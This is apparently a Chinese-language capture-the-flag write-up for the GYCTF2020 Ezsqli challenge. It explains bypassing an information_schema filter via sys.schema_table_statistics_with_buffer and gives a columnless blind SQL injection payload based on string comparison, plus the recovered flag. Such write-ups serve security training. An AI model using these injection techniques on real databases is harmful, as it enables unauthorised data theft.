GYCTF2020-Ezsqli
[GYCTF2020]Ezsqli
id是注入点,4/2发现是数值型注入……测试下:
information都被过滤了……这里必须要绕过这个过滤
information_schema绕过
sys.schema_table_statistics_with_buffer
SELECT * from sys.schema_table_statistics_with_buffer
table_schema | table_name | rows_fetched | fetch_latency | rows_inserted | insert_latency | rows_updated | update_latency | rows_deleted | delete_latency | io_read_requests | io_read | io_read_latency | io_write_requests | io_write | io_write_latency | io_misc_requests | io_misc_latency | innodb_buffer_allocated | innodb_buffer_data | innodb_buffer_free | innodb_buffer_pages | innodb_buffer_pages_hashed | innodb_buffer_pages_old | innodb_buffer_rows_cached |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
可以看到有table_schema和table_name,借此可以获得表名:
但是我们没有列名,这里需要
无列名注入
https://www.jianshu.com/p/4a084ea1c7d4
https://zhuanlan.zhihu.com/p/98206699
运用到sql比较字符串的特性,当两个字符串做比较运算时,会先比较首位字符,若首位相同,则比较第二位……
id=2||((select 1,”g”)>(select * from f1ag_1s_h3r3_hhhhh))#
两边查询的列数要相同
捋顺逻辑用二分法写脚本:
1 | # coding=utf-8 |
搭了个post架,也不知道好不好用……
转小写得到flag……
flag{333ed6af-c961-438b-91fd-c578e87536a6}
GYCTF2020-Ezsqli